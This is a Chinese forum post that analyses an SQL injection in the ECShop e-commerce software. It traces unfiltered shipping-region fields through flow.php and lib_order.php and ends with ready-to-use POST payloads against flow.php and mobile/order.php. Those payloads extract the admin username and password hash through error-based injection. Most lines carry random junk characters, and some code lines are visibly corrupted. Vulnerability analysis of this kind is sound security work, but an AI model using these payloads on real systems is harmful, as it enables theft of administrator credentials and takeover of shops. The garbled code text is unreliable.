找回密码
 立即注册
查看: 2854|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。, l+ N  a  D$ {0 G, p  ]3 s, u
7 a0 D, A  b; H0 A6 J
    漏洞关键文件:
6 ~( U7 @0 y% }" Y( m/ u3 {) t/ r2 y4 s3 H
    /includes/lib_order.php
) x! v8 h: h8 [
) |" _' k3 `1 J, V    关键函数:& H7 h1 o) ?" Y6 I
6 w  z8 q& B# i# ?
. p. s1 u& G$ L& l
3 W/ Q) O7 |2 Y/ T( N, r
01     function available_shipping_list($region_id_list)
7 [* n( @8 F/ ^6 H7 d2 d2 n* b! z4 g( p% l+ _/ E! j
02 { 3 F& N- k9 Y6 W! k0 v! x$ Z
$ f  P) |5 |' P
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . . k1 r$ J- e1 Q; E. z0 |

7 a" A/ M3 Q5 F; [5 p% W04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + ?# ?0 r# x0 [/ {3 D* D
6 S1 i6 X1 }/ d' P% {
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
  @3 q  N9 p' `6 m8 ~7 l: N
7 D. T: d7 T1 ^# S2 R06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
! p' |1 b( j4 X& q1 O
+ B0 Y5 e. M8 U! M' }0 @3 d- R07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
1 i+ m2 q4 J) T+ S7 F. w% m- G1 v4 z! B9 U6 w& C& J/ B
08             'WHERE r.region_id ' . db_create_in($region_id_list) . " ]  a6 F, O( ?& B8 F
4 g* a" [( x) y0 e1 E: \" G/ e
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 Y$ @+ i; _* _7 ~" n2 C; O: R

) T$ v$ G/ j& F10   
6 v& t$ g2 L; r# c- l/ R2 Z) Q& D1 P) v3 _) r) x, B
11     return $GLOBALS['db']->getAll($sql); 9 H' ^3 |1 k( X! N4 E

; T, W- T: \+ r' C: e+ M7 O12 }
4 u) Q3 \8 o+ X( u* t. r1 O! p4 W) r$ ]) b. N, K# k' a+ V& c5 {% I
显然对传入的参数没有任何过滤就带入了查询语句。
! p9 q% ~/ J+ r, i4 H, g
3 W, i' ^" U3 t2 P; A* S3 N下面我们追踪这个函数在flow.php中:( c& a4 v! d# R0 T  b7 B7 L
第531行:   ) W, \! n. Y" w  C2 n- Y
9 @4 b. T  f* X5 m" Q
1 $shipping_list     = available_shipping_list($region);
0 _, g4 T9 @. I1 B
5 j1 o# Y: d! m1 |7 @
8 R1 ]& S4 M. M) D* o. P9 \2 p! S* k" K: _  e  h# k
6 E% \' i, N, e% ~
1 n3 L* y. Q! t. P" d2 A0 W
再对传入变量进行追踪:
# L; Y+ c6 @" f- |! ^. q' F' \7 ~% y" T/ k- o( h; m
第530行:   
9 E- z! J0 ~3 m( q6 N: x6 g1 E$ A+ z1 z' f7 u/ V4 Q
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); & H: t, a2 i1 h! Z+ f  ]3 e: L

( y& v; ?# H/ Z0 k2 F' a : ?& Y/ q3 o' l9 B

! W) W/ y5 F1 Q7 r9 G8 g$ B
1 Q. e& ^0 W* G5 |, {8 U: x, S; a( s
第473行:        
; P3 z' b3 I0 O- v: E. J1 M; p
: n/ S( S9 x) [0 B( ?- d7 F7 D1 $consignee = get_consignee($_SESSION['user_id']); * H, j( p% O+ W/ T
/ H, U6 _; H+ f: f7 T0 D$ G- T1 L0 ^
到了一个关键函数:7 _! W5 ]+ {  @3 d! H# n

9 e* Y2 Z  D( J4 z9 J8 |0 O/includes/lib_order.php
& {" s6 x" f& F6 Y+ p
/ a% ]" N/ h9 f' s* v0 p+ C, K8 w2 q
: H# s! m+ X# {6 R, p  Q' B. p
: i9 \- y; {& t" R 4 Z8 M" [. |3 l! t4 S
" K7 L  K. t( M3 d
01 function get_consignee($user_id) ) _6 p  a! {- K- F2 w

( S( K4 \- F9 z( c( @02 {
5 |+ L5 V: H5 Z0 O* b+ p) `# x- N1 ]8 T' u
03     if (isset($_SESSION['flow_consignee'])) & Q8 `( T2 [, d- D, ^* g/ F# }
) e0 b. W5 _: |  C$ k  \8 e
04     { 2 a4 o7 t1 f+ n0 I' J& f
# a3 F0 V- r9 R& i' j
05         /* 如果存在session,则直接返回session中的收货人信息 */
- ]4 ?8 m0 \: t* o' x: z( z: B. n  {0 @7 D; F. O
06   ) J# ?0 p$ a* V2 F: J$ G$ C. Q! R8 f
4 p8 O) e  W) W5 `  c2 w7 c6 s$ q
07         return $_SESSION['flow_consignee'];
" O; v# f# c- g6 a4 O3 s8 l' s7 Y. D/ d
08     }
9 T" F7 d$ q. Q1 ~. Y6 l
% \% g  {/ l( k. J09     else 9 Z& k2 Q3 V% e3 ?$ w

. `9 n. n/ g( c7 u* u10     { " h! D7 p5 F2 q. l

2 G5 u9 n0 L+ x7 P0 i' k  J6 S11         /* 如果不存在,则取得用户的默认收货人信息 */
6 U+ X& h1 J( V- W4 F' z, @% L% t* D  n  N: @0 a
12         $arr = array(); 8 R" a( p- E! I& `
9 x4 v. n9 i  Y  p& v8 d
13   0 i" d( Q( @* x' U8 J" b4 D
# m/ J1 T0 a4 H$ u7 a
14         if ($user_id > 0)   k, M( N! |4 U1 v! M

- x( l. N( ]' l) Z. B15         {
( U2 D, l' S. e
. _! X. e2 L- W& |* w16             /* 取默认地址 */
( p/ ]' k$ {* W/ r0 \* x+ k9 k9 R: o- m4 Q, J5 f9 x8 {+ b- d. i
17             $sql = "SELECT ua.*".
7 V( o& y, N# q& _1 E0 q) @9 k$ k: a  D) x6 J  G, w( ]
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 1 h/ I. Y1 B3 _6 h2 e: `( ?3 G$ r

" q$ X' T/ X& d# p- e5 t3 e19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; & g2 R/ v) R! n& L6 c/ V$ ^

* j2 l* O9 G$ W, s& _" _( Y% ^20   
8 o# i, h2 c; }/ ^" U" ~: E- \
: K( s* {1 r+ {$ a" ^; E3 T21             $arr = $GLOBALS['db']->getRow($sql);
% \) a) u, k' N/ P- L* S" E
6 T9 z3 O9 G# j% E22         } * y! ~$ q' C1 h& S4 b6 g* V, S

  ^3 v, B0 a* f23   
0 c) `) o# {$ G
- Q- a7 ]" C- C7 `3 y$ B24         return $arr;
8 ^3 s6 a' g: y! l0 }5 ~
' X' s# f: B( E8 t25     }
. G7 {( x& R) ?: G7 F) ?; Y/ q$ D1 i, R1 y
26 }
- Y6 C/ k" H( b4 i) z! k
3 `- j& F% S& @+ Y5 u4 Y显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
# s, i  U6 J( W- v/ h& E
3 ?) P: e: c/ d$ y
2 v# N: }0 G3 F4 F/ K2 L- k, R2 Y$ d) m
关键点:
/ H. h# ?5 g. [& w  K  n, r! d8 m4 P( N% |4 \
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);5 E* z2 y5 b% E: Y* k0 i( k% Y
# ]- k/ ]( n2 Z2 I! l
这里对传入参数反转义存入$_SESSION中。
' _3 D) G% h: B  a& R9 S
* ~2 {  g, B- h4 I7 X
% ~. F" _: s3 r# h! o6 S; [6 F: U( a6 e: p  v
然后看下:
1 g" q/ r' ]7 S( k0 z5 ]0 Z
  `- c, ?! f. c6 v( z8 ~ + _6 \$ R1 Y$ O1 r7 I6 M( G

1 p: b( x5 T0 }) n   
" M$ ?3 A, a- c, ?: U2 Q& Y
6 k5 n- D# `1 s01 $consignee = array(
3 N' L- x0 J/ G8 O. }  V3 H; P& U" Y7 f# v
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
6 h/ C/ `3 b+ y& O2 P$ v8 Z0 x0 @. g; x& [, j, {
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
# |* v; q+ W" I; g% Y: B. o* A
+ V- Q; [* E, o8 ^2 u" X1 X04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
# z  k8 x1 y( Y  {7 A# x. F/ h/ Q1 X
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ; d: ]- F. O+ Q

( T" y. \: I+ u% s/ M06         'city'          => empty($_POST['city'])       ? '' _POST['city'], + c) A1 Y; m" p

, g/ n$ k' T4 g: d. a* K$ k3 t$ B07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
/ w* J) ]3 J- u4 I8 s* W/ q- m, c: p: X" f- c
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
+ L0 F1 w" f; k6 Q: x; w7 a  [/ q" ^& l$ H: W& a2 h1 M' V+ I4 @
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
$ ?) B; T8 r% N, U; x, @
9 }8 g" o1 \* S9 S* U. g10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
$ l* |" p+ l' @1 {: I/ X$ s+ E* Y8 U+ s& m
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), # N2 l, P7 I  S# e' M
* I* k  t; v, P4 b
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 n7 U/ Y; }8 y' n, A
" V# u2 f# E1 H* ^9 W( y$ Z13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 8 I6 w$ ~, H6 M% Y

' l3 r+ F9 T0 O+ \$ @7 q6 R14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], . {' x; M1 ^  k/ n  t6 o7 Q
+ l9 s. R( H! Y
15     ); ! |1 t& A1 w! j0 N9 Q9 F0 e
6 i$ w+ T( A' E7 |  V7 Z
好了注入就这样出现了。( f8 ?! M- B. ]/ r" @/ ^
, W' ^6 Q+ F5 _9 Z
==================
0 s& J) s- ^. c6 V; p+ N' ~8 c0 d/ Y  Y5 P& q2 z  ]. e
注入测试:
7 N1 [5 s/ ]! e" i
8 ?2 r9 v& j4 l- t. Z( G环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 ^9 L4 u" Q$ B7 G" Y' g5 V
  F3 {3 S! K9 x' r测试程序:ECShop_V2.7.3_UTF8_release1106
% q( I$ x! P9 x
( [$ w! o, e. m8 O9 T1 w" M ; D! z6 l: V3 i: s

- m" Q  c. i! i6 f2 P& [1.首先需要点击一个商品加入购物车3 Y8 g/ A+ |0 @4 K
+ T. ]0 q- t7 N3 t1 ^- c
2.注册一个会员帐号
( R  W3 w. O1 Z8 G3 w
- h1 d, ~# F- J4 l! m- c) k3.post提交数据
5 K  z! M: e' d: R/ }! H' `/ }& `6 P, n; ^% a$ {

* W" S# i$ ~! d: g
. W& s. [6 p# g# D4 j1 ~1 http://127.0.0.1/ecshop/flow.php
8 [. {& E+ w- Z7 y! l
$ [: p9 ]& G$ p3 w0 g7 y2   
  E/ o( c' \2 A- v& E
& b* K, u: {% ?9 N3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( |+ N/ Z, y/ w% Z1 @# X举一反三,我们根据这个漏洞我们可以继续深入挖掘:$ r, y! d6 q- j9 M& [

) h+ q; h; T/ B) T8 p, y3 \我们搜寻关键函数function available_shipping_list(). Z" x4 M* w, J4 w

+ T/ M) Q: f8 b在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同4 J" Z" R6 _* `

+ J+ }) _7 Z* `: s利用exp:
; e' I8 _( K; h2 X* `
- E! ~4 i( U: }# L7 O. S1.点击一个商品,点击购买商标& O; K2 v8 p1 W% F
% [* Y% i- m% F' f1 d9 y% b. a
2.登录会员帐号3 m3 W' [: j  R; a1 k

' d: `! J1 O$ A% |. P: ?7 u8 \3.post提交:3 d! u0 i) C  N2 I" T! j' y) Q

$ t! r  ~! l/ v) Zhttp://127.0.0.1/ecshop/mobile/order.php8 W& _' a, ?/ a7 {" Q$ d

1 t# w) N! g4 k, x$ K& Z
( }" f) G9 i. t/ j) M
# S+ s1 ~9 t* y0 H9 y. acountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& b+ K8 Y& [4 l. S7 ?; c: d2 r* i/ E" `/ X9 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表